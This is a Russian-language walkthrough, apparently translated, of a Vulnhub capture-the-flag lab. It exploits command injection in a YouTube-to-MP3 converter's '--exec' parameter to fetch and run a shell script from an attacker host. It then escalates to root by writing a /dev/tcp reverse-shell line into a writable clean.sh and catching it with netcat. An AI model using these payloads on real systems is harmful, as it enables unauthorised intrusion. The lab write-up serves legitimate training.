Пошаговое руководство для работы с Vulnhub

Дата: 01.09.2020. Автор: Игорь Б. Категории: Статьи по информационной безопасности
Пошаговое руководство для работы с Vulnhub

В этой статье читатели ближе познакомятся с Vulnhub, его особенностями, положительными и отрицательными сторонами. Будет приведен практический пример использования этого полезного инструмента.

CTF — это один из популярных и, вероятно, интересных способов получить практический опыт тестирования на проникновение. В частности, речь идет о CTF от Vulnhub, который задействует все аспекты тестирования во время веб-проникновения, такие как атака на загрузку файлов. Пользователь способен зафиксировать запросы, поступающие из веб-приложения, и использовать их, чтобы попасть в машину жертвы.

Программа имеет средний уровень сложности, поэтому есть несколько мест, где пользователь может застрять. Следующий шаг в этом процессе не будет естественным и потребует личного вмешательства.

Скачать данный CTF можно, перейдя по ссылке.

Знакомство

Чтобы найти машину жертвы, на которой работает лаборатория CTF, пользователю следует ввести следующую комбинацию:

netdiscover
Пошаговое руководство для работы с Vulnhub

На предыдущем этапе человек пришел к выводу, что IP-адрес жертвы — 192.168.1.105.

Необходимо начать со сканирования IP-адреса и посмотреть, что человек может таким образом обнаружить. Агрессивное (а) сканирование nmap способно помочь пользователю получить представление о том, что все порты и службы работают на машине CTF.

nmap -A 192.168.1.105
Пошаговое руководство для работы с Vulnhub

Перечисление

На предыдущем шаге пользователь осознал, что порт 80 открыт, работает сервер Apache. Чтобы провести перечисление, стоит открыть веб-браузер и ввести IP-адрес машины жертвы в разделе URL. Таким образом пользователь поймет, что он может найти.

Пошаговое руководство для работы с Vulnhub

Теперь на картинке ниже можно увидеть кое-что интересное. Итак, здесь пользователь заметит, что это веб-приложение используется для преобразования видео с YouTube в формат MP3. Нужно разобраться, как именно это происходит. Burpsuite — это инструмент выбора здесь, так что стоит начать с burp proxy.

Пользователь готов фиксировать запросы, поступающие из этого веб-приложения, для проведения анализа. После вставки случайного URL-адреса YouTube в тестовое поле человек нажмет на кнопку «Сonvert» (конвертировать). После нужно активировать флажку перехвата «Intercept» и включить ее.

Пошаговое руководство для работы с Vulnhub

Чтобы увидеть ответ, пользователь отправит этот запрос.

Пошаговое руководство для работы с Vulnhub

Человек, кажется, получает ошибку, что любопытно, необходимо попробовать выяснить, что эта ошибка означает и к чему она его приводит. Пользователь копирует имеющиеся данные и вставляет в поисковик Google. Таким образом, он сможет понять, какие результаты были им получены.

Пошаговое руководство для работы с Vulnhub

Была получена ссылка на Github. Изучая ее, пользователь видит варианты того, какие дескрипторы команд могут быть приняты этим веб-приложением.

Пошаговое руководство для работы с Vulnhub

Применение

В этом инструменте есть опция, которую можно использовать в веб-приложении для выполнения команды.

Сейчас пользователь будет снова захватывать запрос и модифицировать аргумент, который «попался в плен». Используя опцию «–exec», чтобы запустить команду, человек способен увидеть, какие файлы он может получить.

--exec%3c'ls${IFS}-la'
Пошаговое руководство для работы с Vulnhub

В результате человек может увидеть index.php и его разрешения для данного пользователя.

Следующим шагом является создание файла Shell с помощью Python. Не стоит стесняться выбирать свой любимый обратный Shell Python, просто надо изменить IP и порт оболочки на необходимые данные атакующей машины, как это было сделано ниже.

Пошаговое руководство для работы с Vulnhub

Файл пользователя был создан, он включил сервер Рython на его атакующей машине, чтобы разместить файл Shell, который тоже только что был изменен.

В Burpsuite пользователь сможет снова выполнить захват запроса и изменить его для машины жертвы, чтобы загрузить файл Shell, используя ту же команду, которую он применял в прошлый раз для выполнения запроса на машине жертвы в сочетании с Wget.

--exec%3c'wget${IFS}http://192.168.1.112:8000/file.sh'
Пошаговое руководство для работы с Vulnhub

Операция прошла успешно, файл пользователя Shell Python был успешно загружен на машину жертвы.

Для проверки того, что человек сделал, будет использоваться команда ls-la.

--exec%3c'ls${IFS}-la'
Пошаговое руководство для работы с Vulnhub

Файл Shell пользователя находится в системе жертвы. Он готов и ожидает запуска, так что стоит продолжить и приступить к реальным делам.

yt_url=--exec%3c`bash${IFS}file.sh`
Пошаговое руководство для работы с Vulnhub

Листенер Netcat также готов и ждет обратного вызова Shell на атакующей машине. Пользователь получил то, что нужно!

Необходимо исследовать каталоги. Человек натыкается на каталог с именем “admin”, переходит к нему и открывает содержимое. Там пользователь видит, что существует файл с именем «flag.txt». Открыв его, человек получает свой первый флаг. Следующее, что нужно сделать, это найти файлы, которые могут быть записаны и будут принимать входные данные пользователя. Это позволит ему получить более высокие привилегии.

nc -lvp 1234
ls
cd admin
ls
cat flag.txt
find / -writeable -type d 2>/dev/null
Пошаговое руководство для работы с Vulnhub

Повышение привилегий

Пользователь находит каталог с именем “tmp», с которым он может работать. Копаясь в «tmp” и перечисляя все скрытые файлы, человек обнаруживает, что существует файл Shell с именем «clean.sh». Теперь пользователь способен записать свой Shell-код в этот файл и использовать его, чтобы получить Shell с более высокими привилегиями. Используя echo, пользователь помещает свой Shell-код в файл.

cd tmp
ls -la
echo "bash -i >& /dev/tcp/192.168.1.112/8888 0>&1" > clean.sh
Пошаговое руководство для работы с Vulnhub

Теперь человек включит листенер Netcat и немного подождет. Этот шаг требует терпения, так как он может занять до минуты, чтобы информация вернулась к атакующей машине.

nc -lvp 8888
cd /root
ls
cat root.txt
Пошаговое руководство для работы с Vulnhub

Успех! Доступ получен!

Исследуя корневой каталог, пользователь находит файл с именем “root.txt», открывает его, чтобы найти окончательный флаг. На этом заканчивается пошаговое руководство.

Автор переведенной статьи: Jeenali Kothari.

Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.

Игорь Б

Об авторе Игорь Б

Представитель редакции CISOCLUB. Добавляю статьи на сайт.
Читать все записи автора Игорь Б

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *